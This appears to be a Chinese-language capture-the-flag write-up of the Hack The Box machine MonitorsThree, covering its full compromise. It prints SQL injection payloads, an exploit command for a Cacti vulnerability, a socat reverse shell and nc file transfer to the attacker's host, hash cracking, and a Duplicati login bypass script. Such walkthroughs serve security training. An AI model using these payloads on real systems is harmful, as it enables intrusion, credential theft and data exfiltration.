本文章仅用于网络安全研究学习,请勿使用相关技术进行违法犯罪活动。
Hack The Box是一个国外的靶机在线平台,实验环境将实时更新,允许您测试您的渗透测试技能。
知识点:sql报错注入、文件上传漏洞、备份文件系统漏洞
kali:10.10.16.7
靶场:10.10.11.30
0001.信息收集
使用nmap扫描端口,发现22端口和80端口开启。
使用dnsmasq配置域名对应ip,访问80端口网站界面如下:
通简单的查找和目录扫描发现有
login.php:登录页面
/forgot_password.php:输入正确用户名会提示发送请求成功,错误用户名会报错,爆破用户名得到admin用户。
/admin/目录:下面有大量php文件,但是需要登录才可以访问。
对子域名进行扫描,如果子域名不存在就会指向主域名,所以需要加上-fs 13560把主域名过滤。
扫描到子域名cacti.monitorsthree.htb
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://monitorsthree.htb" -H "HOST: FUZZ.monitorsthree.htb" -c -fs 13560
访问子域名,是一个登录界面,通过查询知道是cacti系统,是一个图形化管理设备的系统。
0002.sql注入与文件上传漏洞获取www-date权限
首先我们在主域名的重置密码功能处发现了sql注入,通过报错注入可以回显。
# 测试命令
1' or 1=1--
报错回显,查询到数据库名
1' union select extractvalue(1,concat(0x7e,(select database()), 0x7e)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
中间注入过程省略,最后使用下列语句获取到admin的用户名和密码,其中password因为是加密后的hash值过长哪个,需要使用SUBSTRING(password,0,25)截取字符串请求两次:
admin | 31a181c8372e3afc59dab863430610e8
# 用户名
1' union select extractvalue(1,concat(0x7e,(select username from users limit 0,1), 0x7e)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
# 密码前半段
1' union select extractvalue(1,concat(0x7e,(select SUBSTRING(password,0,25) from users limit 0,1), 0x7e)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
# 密码后半段
1' union select extractvalue(1,concat(0x7e,(select SUBSTRING(password,25,25) from users limit 0,1), 0x7e)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
密码MD5解密后得到:greencacti2001
使用admin登录主域名的后台后,发现是阉割版本的,基本上只有展示功能,未发现漏洞。
使用admin用户登录子域名cacti界面如下,在主界面发现有Import/Export,按照经验应该是上传文件漏洞。
网上查询cacti漏洞,找到CVE-2024-25641,只要拥有用户名和密码,就可以获取到操作系统权限。这里自己手工操作也可以,我是在github上找的payload。
CVE-2024-25641
https://github.com/thisisveryfunny/CVE-2024-25641-RCE-Automated-Exploit-Cacti-1.2.26
将payload下载到kali中。
a.在该pyaload所在目录建立http服务
python -m http.server 80
b.监听端口
nc -lnvp 4447
c.运行payload
python exploit.py -L 10.10.16.7 -lp 4447 -wp 80 -url http://cacti.monitorsthree.htb -u admin -p greencacti2001
0003.获取marcus权限
查看/home,发现用户marcus,我们下一步就是要获取marcus权限。
www-date到普通用户,先找找数据库。
我们在/var/www/html/app/admin/db.php文件中找到一组数据库用户名密码app_user | php_app_password。
在/var/www/html/cacti/include/config.php找到另外一组数据库用户名密码:cactiuser | cactiuser
猜测应该有两个数据,都进去看看。我们现在不是交互式命令行,无法使用mysql登录,使用下列命令反弹交互式命令行。
# kali
nc -lnvp 4445
# 靶机www-date
socat tcp-connect:10.10.16.7:4445 exec:'bash -li',pty,stderr,setsid,sigint,sane
使用cactiuser进入mysql,在cacti数据库user_auth表中找到marcus的用户名密码:
marcus | $2y$10$Fq8wGXvlM3Le.5LIzmM9weFs9s6W2i1FLg3yrdNGmkIaxo79IBjtK
# 登录
mysql -u cactiuser
# 显示数据库
show databases;
# 显示表
show tables;
# 查询值
select * from user_auth;
使用hashcat对密码进行破解得到:12345678910
hashcat -m 3200 marcus.hash rockyou.txt --show
该靶机禁止ssh远程登录,我们直接本地登录,获取user.txt:
0004.获取root.txt
使用命令查看开放端口,发现可疑的35705和8200端口。
netstat -tuln
使用curl请求这两个端口没有返回,使用chisel将端口映射到本地,chisel可以在github上下载。
# 在本地81端口开启服务
python -m http.server 81
# 靶机上,运行完后,成功在靶机上开启8080端口。
wget 10.10.16.7:81/chisel
chmod +x chisel
./chisel server
在kali上运行chisel映射端口,原理是通过靶机上的8080端口,将本地的8200端口和靶机的8200端口映射,成功访问网站:
./chisel client 10.10.11.30:8080 8200
网上搜索Duplicati,是一个备份文件系统,参考如下文章可以绕过登录。
Duplicati登录绕过
https://medium.com/@STarXT/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee
a.获取server-passphrase值
首先在靶机上查找Duplicati的数据库,在/opt/duplicate/config/找到数据文件Duplicati-server.sqlite
使用下列命令传回kali:
# kali
nc -lp 7777 > Duplicati-server.sqlite
# 靶机
nc -nv 10.10.16.7 7777 < Duplicati-server.sqlite -q 1
使用kali中使用sqlite3获取在线网站打开数据库,将Options表server-passphrase的值拷贝出来,在线网站不支持复制,建议使用sqlite,我这里是为了展示好看:
SQlite在线浏览
https://sqliteviewer.app/#/CTADPNHLTC.sqlite/table/Operation/
将密码:
Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=
base64解密后得到:
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
b.burpsuite进行开启代理拦截,在网站输入任意密码请求。
第一个包不做任何修改放过,复制返回结果中的Nonce字段。
c.将复制的Nonce字段放入如下代码第二行中。
saltedpwd是server-passphrase值base64解密后的值。
将代码复制到该网站的控制台运行。
var saltedpwd = "59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a" ;
var noncedpwd = CryptoJS.SHA256(CryptoJS.enc.Hex.parse(CryptoJS.enc . Base64 . parse("mRsOqVOnrmwZfSakpwO+/mx8Pr4wnUPaKvjpbAG+Dxg=")+ saltedpwd)).toString(CryptoJS . enc . Base64);
console . log (noncedpwd);
d.将得到的noncedpwd值复制到burpsuite拦截的第二个包中,然后请求。
成功绕过登录,进入网站:
网站的功能就是备份与恢复,开始我以为是Cacti的备份有特殊信息,全拷贝到本地后比对发现没有特别的地方。
最后的方式是可以直接将root.txt备份,再恢复到我们指定的位置。
a.点击新增备份
b.填写名称和密码
c.备份位置选/source/tmp/
备份和恢复文件时前面要加上/source/路径,是因为文件备份系统是运行在docker里面的。
d.备份文件选:/source/root/root.txt
e.后面就是默认设置,下一步、保存
f.保存后回到主页,刷新一下看见我们新建的备份计划,点击立即运行
g.下面恢复文件,点击恢复文件
h.勾选root.txt文件
i.位置选到/source/tmp,恢复读写权限必须勾上
j.等文件恢复后,在/tmp就可以找到root.txt文件了
感谢观看!
原文始发于微信公众号(Rsec):HTB靶场 monitorsthree (Linux)[Medium]
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论